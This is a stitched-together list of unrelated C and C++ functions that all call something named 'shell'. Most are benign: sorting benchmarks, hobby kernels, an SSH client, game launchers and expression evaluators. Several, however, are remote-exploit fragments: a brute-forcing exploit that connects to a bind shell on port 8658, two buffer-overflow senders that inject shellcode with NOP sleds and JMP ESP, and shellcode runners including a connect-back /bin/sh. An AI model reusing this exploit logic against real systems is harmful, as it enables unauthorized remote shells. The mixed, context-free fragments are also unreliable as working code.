int main() { int a[] = {3,7,2,9,6,5,1}; int sz = sizeof(a)/sizeof(a[0]); show(a, sz); shell(a, sz); show(a, sz); return 0; }
int exploit (char *host, int port, struct targets target) { char *payload; int thesock; long ret; if (opt_flags & OPT_BRUTE) { for (ret = STACK_START; ret > STACK_END; ret-=steps) { fprintf (stdout, "[+] Trying %#x\n", ret); payload = xp_create (target.addr); xp_send (host, port, payload); sleep(timeout); thesock = connect_host (host, 8658); if (thesock == -1) { fprintf (stdout, "[-] Exploit failed!\n"); xp_destroy (payload); } else { fprintf (stdout, "[+] Exploit success!\n"); fprintf (stdout, "[+] Waiting for shell\n"); shell (thesock); break; } } } else { if (opt_flags & OPT_CHECK) { fprintf (stdout, "[+] Checking for vulnability\n"); } else { fprintf (stdout, "[+] Trying %#x\n", target.addr); } payload = xp_create (target.addr); xp_send (host, port, payload); sleep(2); thesock = connect_host (host, 8658); if (thesock == -1) { fprintf (stdout, "[-] Exploit failed!\n"); xp_destroy (payload); return EXIT_FAILURE; } else { fprintf (stdout, "[+] Exploit success!\n"); fprintf (stdout, "[+] Waiting for shell\n"); sleep(1); shell (thesock); } } return 0; }
int main(int argc, char **argv) { currentFile=NULL; shell(); return 0; }
void entry() { __asm_initialize__(); kmeminit(); shell(); while(1); }
void prompt() { char cmd[1024]; while (true) { printk("%s@%s:$ ", user, machine); gets(cmd); shell(cmd); } }
int main(void) { void (*shell)() = (void *)&hellcode; printf("%d byte _exit(1); linux/x86 by core\n", strlen(hellcode)); shell(); return 0; }
int main(void) { void (*shell)() = (void *)&hellcode; printf("%d byte (w/optional 7 byte exit) write(0,\"Hello core!\\n\",12); linux/x86 by core\n", strlen(hellcode)); shell(); return 0; }
int main(int argc, const char * argv[]) { Helper::print("Welcome to the mini tester for the InDiskShell class. Jonathan Ginsburg (C) September 2015."); std::string path = Helper::readLine("Enter path: "); std::string fileName = Helper::readLine("Enter file name: "); InDiskShell<std::string> shell(path, fileName); shell << Helper::readLine("Enter the string to save: "); return 0; }
int main(void) { void (*shell)() = (void *)&hellcode; printf("%d byte connect back execve /bin/sh for linux/ppc by core\n", strlen(hellcode)); shell(); return 0; }
static nsIViewManager* view_manager(nsIDocShell *aDocShell) { nsCOMPtr<nsIPresShell> shell(pres_shell(aDocShell)); if (!shell) return nsnull; return shell->GetViewManager(); }
inline void descend(DistanceCallback& dcb, const node<P>* query, ScalarType* upper_bound, int current_scale,int &max_scale, v_array<v_array<d_node<P> > > &cover_sets, v_array<d_node<P> > &zero_set) { d_node<P> *end = cover_sets[current_scale].elements + cover_sets[current_scale].index; for (d_node<P> *parent = cover_sets[current_scale].elements; parent != end; parent++) { const node<P> *par = parent->n; ScalarType upper_dist = *upper_bound + query->max_dist + query->max_dist; if (parent->dist <= upper_dist + par->max_dist) { node<P> *chi = par->children; if (parent->dist <= upper_dist + chi->max_dist) { if (chi->num_children > 0) { if (max_scale < chi->scale) max_scale = chi->scale; d_node<P> temp = {parent->dist, chi}; push(cover_sets[chi->scale], temp); } else if (parent->dist <= upper_dist) { d_node<P> temp = {parent->dist, chi}; push(zero_set, temp); } } node<P> *child_end = par->children + par->num_children; for (chi++; chi != child_end; chi++) { ScalarType upper_chi = *upper_bound + chi->max_dist + query->max_dist + query->max_dist; if (shell(parent->dist, chi->parent_dist, upper_chi)) { ScalarType d = distance(dcb, query->p, chi->p, upper_chi); if (d <= upper_chi) { if (d < *upper_bound) update(upper_bound, d); if (chi->num_children > 0) { if (max_scale < chi->scale) max_scale = chi->scale; d_node<P> temp = {d, chi}; push(cover_sets[chi->scale],temp); } else if (d <= upper_chi - chi->max_dist) { d_node<P> temp = {d, chi}; push(zero_set, temp); } } } } } } }
static exe_cmd_init cmd_shell(std::string&& cmd) { std::vector<std::string> args = {"-c", "\"" + cmd + "\""}; std::string sh = shell().string(); return exe_cmd_init( std::move(sh), {std::move(args)}); }
static exe_cmd_init exe_args_shell(std::string&& exe, std::vector<std::string> && args) { auto cmd = build_cmd_shell(std::move(exe), std::move(args)); std::vector<std::string> args_ = {"-c", std::move(cmd)}; std::string sh = shell().string(); return exe_cmd_init(std::move(sh), std::move(args_)); }
int main(int argc, char *argv[]) { puts("------------------------------------------"); puts(" EVAL - Mathematical Expression Evaluator "); puts("=========================================="); void shell(void); shell(); puts("\nGoodbye!\n"); return EXIT_SUCCESS; }
int main(void) { while(1){ shell(); } return 0; }
int main(int argc, char *argv[]) { unsigned char Buff[1024]; unsigned char data; unsigned long *ps; int s, i, k; if (argc < 3) { fprintf(stderr, "Usage: %s remote_ip remote_port\n", argv[0]); return -1; } s = Make_Connection(argv[1], atoi(argv[2]), 10); if (!s) { fprintf(stderr, "[-] Connect failed. \n"); return -1; } GetShellcode(); ps = (unsigned long *)Buff; for(i=0; i<sizeof(Buff)/4; i++) { *(ps++) = 0x60000000; } i = sh_Len % 4; memcpy(&Buff[sizeof(Buff) - sh_Len], sh_Buff, sh_Len); ps = (unsigned long *)Buff; for(i=0; i<92/4; i++) { *(ps++) = RET; } Buff[sizeof(Buff)] = 0; //PrintSc(Buff, sizeof(Buff)); i = send(s, Buff, sizeof(Buff), 0); if (i <= 0) { fprintf(stderr, "[-] Send failed. \n"); return -1; } data='I'; i = send(s, &data, 1, 1); if (i <= 0) { fprintf(stderr, "[-] Send OOB data failed. \n"); return -1; } sleep (1); shell(s); }
bool compile() { //shell shell(compiler_command()); if(!output_path().is_file()) return false; //ldd shell("ldd",output_path()); //du //shell("du","-h",output_path()); return true; }
int kmain(/*struct multiboot *mboot_ptr*/) { init_descriptor_tables(); keyboard_install(); initfs(); shell(); return 0xDEADBADA; }
int main (int argc, char *argv[]) { // debugoff(); debugon(); FN; init_dir(); init_shell(NULL); init_cmd(); return shell(); }
int main(int argc, char **argv) { Game *game = create_game(argc, argv); { ShellWin32 shell(*game); shell.run(); } delete game; return 0; }
/* spawn a command into a shell optionally keeping track of the line number */ int command(const char *comm, int line) { Source *s; s = pushs(SSTRING, ATEMP); s->start = s->str = comm; s->line = line; return (shell(s, false)); }
int main() { SOCKET c,s; WSADATA WSAData; char Buff[1024]; unsigned short port; struct sockaddr_in sa; int salen = sizeof(sa); if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("[-] WSAStartup failed.\n"); WSACleanup(); exit(1); } GetShellCode(); if (!sh_Len) { printf("[-] Shellcode generate error.\n"); exit(1); } s = Make_Connection("127.0.0.1", 4444, 10); if(s<0) { printf("[-] connect error.\n"); exit(1); } // get local port getsockname(s, (struct sockaddr FAR *)&sa, &salen); Enc_key += Enc_key << 8; port = sa.sin_port^Enc_key; printf("port = %x %x\n", sa.sin_port, port); //memcpy(&sh_Buff[sh_Len], &port, 2); memcpy(&sh_Buff[sh_Len], &sa.sin_port, 2); sh_Buff[sh_Len+2] = 0; memset(Buff, 0x90, sizeof(Buff)-1); strcpy(Buff+56, JUMPESP); strcpy(Buff+60, sh_Buff); send(s,Buff,sizeof(Buff),0); Sleep(1000); shell(s); WSACleanup(); return 1; }
void cg_read() { int ch; if ( ( ch = wgetch ( shell_w ) ) != ERR ) { if ( ch == '\n' ) { std::string ret ( buf ); buf.clear(); shell ( buf ); throw ret; } else if ( ch == KEY_BACKSPACE ) { if ( buf.size() >= 1 ) { buf.pop_back(); shell ( buf ); } } else if( buf[0] == 'h' && buf[1] == 't' && buf[2] == 't' && buf[3] == 'p') { if ( buf.length() < 78 ) { buf += ch; shell ( buf ); } } else { if ( isalnum ( ch ) || isspace ( ch ) ) { if ( buf.length() < 78 ) { buf += ch; shell ( buf ); } } } } }
static bool use_iptables() { if(iptables_state == -1) { if(geteuid() != 0) return (iptables_state = 0); if(!chain_exists()) { int res = shell("/sbin/iptables -N " CHAIN); if(res != EXIT_SUCCESS) { LL_PRINT("ERROR: Failed to create iptables chain "CHAIN); return (iptables_state = 0); } } // now add a jump to our chain at the start of the OUTPUT chain if it isn't in the chain already int res = shell("/sbin/iptables -C OUTPUT -j " CHAIN " || /sbin/iptables -I OUTPUT 1 -j " CHAIN); if(res != EXIT_SUCCESS) { LL_PRINT("ERROR: Failed to insert rule in OUTPUT chain"); return (iptables_state = 0); } return (iptables_state = 1); } return iptables_state; }
main(){ struct Proc proc0; struct Catch cf; cpl = 1; // bootflags = BOOT_SINGLE; init_signals(); init(&proc0); CATCHF(cf, MSG_DEADKID, reapkids); //start_proc(1024, dotboy); //sleep(5000); #if 0 if( !fork(1024)){ struct Catch cf; currproc->name = "ball"; while(1){ CATCHL(cf, 1234, caught); usleep(10000); throw(1234, 17); printf("dropped the ball\n"); if(0){ caught: printf("caught %d\n", cf.retval); } } UNCATCH(cf); exit(0); } if( !fork(1024)){ currproc->name = "bangboy"; while(1){ usleep(3700); write(2, "!", 1); } } if( !fork(1024)){ int i; currproc->name = "hog"; while(1){ i ++; } } #endif shell(); exit(0); }
static int client(ssh_session_t *session) { int auth=0; char *banner; int state; if (user) { if (ssh_options_set(session, SSH_OPTIONS_USER, user) < 0) { return -1; } } if (ssh_options_set(session, SSH_OPTIONS_HOST ,host) < 0) { return -1; } if (proxycommand != NULL) { if(ssh_options_set(session, SSH_OPTIONS_PROXYCOMMAND, proxycommand)) { return -1; } } ssh_options_parse_config(session, NULL); if(ssh_connect(session)) { fprintf(stderr,"Connection failed : %s\n",ssh_get_error(session)); return -1; } state = verify_knownhost(session); if (state != 0) { return -1; } ssh_userauth_none(session, NULL); banner = ssh_get_issue_banner(session); if(banner) { printf("%s\n", banner); free(banner); } auth = authenticate_console(session); if(auth != SSH_AUTH_SUCCESS) { return -1; } if(!cmds[0]) { shell(session); } else { batch_shell(session); } return 0; }
int main(int argc, char *argv[]) { printf("------------------------------------------\n"); printf(" EVAL - Mathematical Expression Evaluator \n"); printf("==========================================\n"); printf("\n%s\n",_eval_version); void shell(void); shell(); printf("\nGoodbye!\n"); return 0; }
static kbool_t konoha_shell(konoha_t konoha) { void *handler = dlopen("libreadline" K_OSDLLEXT, RTLD_LAZY); void *f = (handler != NULL) ? dlsym(handler, "readline") : NULL; kreadline = (f != NULL) ? (char* (*)(const char*))f : readline; f = (handler != NULL) ? dlsym(handler, "add_history") : NULL; kadd_history = (f != NULL) ? (int (*)(const char*))f : add_history; show_version((CTX_t)konoha); shell((CTX_t)konoha); return true; }
void android_main(android_app *app) { Game *game = create_game(ShellAndroid::get_args(*app)); try { ShellAndroid shell(*app, *game); shell.run(); } catch (const std::runtime_error &e) { __android_log_print(ANDROID_LOG_ERROR, game->settings().name.c_str(), "%s", e.what()); } delete game; }
int main(){ /* Generamos las matrices aleatoriamente */ int i; for(i = 0; i < 1000000; i++){ v31[i] = v32[i] = v33[i] = rand(); if(i < 100000) v21[i] = v22[i] = v23[i] = rand(); if(i < 10000) v11[i] = v12[i] = v13[i] = rand(); } /* Llamamos a las funciones de ordenacion e imprimimos lo que tardan */ printf("--------------------------------------------------------------------------------\n"); /* 10000 elementos */ t = clock(); quicksort(&v13[0],&v13[10000-1]); t = clock() - t; printf("Quicksort ( 10000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); shell(10000); printf("Metodo Shell ( 10000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); insercionDirecta(10000); printf("Insercion directa ( 10000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); printf("--------------------------------------------------------------------------------\n"); /*100000 elementos */ t = clock(); quicksort(&v23[0],&v23[100000-1]); t = clock() - t; printf("Quicksort ( 100000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); shell(100000); printf("Metodo Shell ( 100000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); insercionDirecta(100000); printf("Insercion directa ( 100000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); printf("--------------------------------------------------------------------------------\n"); /* 1000000 elementos */ t = clock(); quicksort(&v33[0],&v33[1000000-1]); t = clock() - t; printf("Quicksort (1000000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); shell(1000000); printf("Metodo Shell (1000000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); insercionDirecta(1000000); printf("Insercion directa (1000000 elementos):\t %.3f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60); return 0; }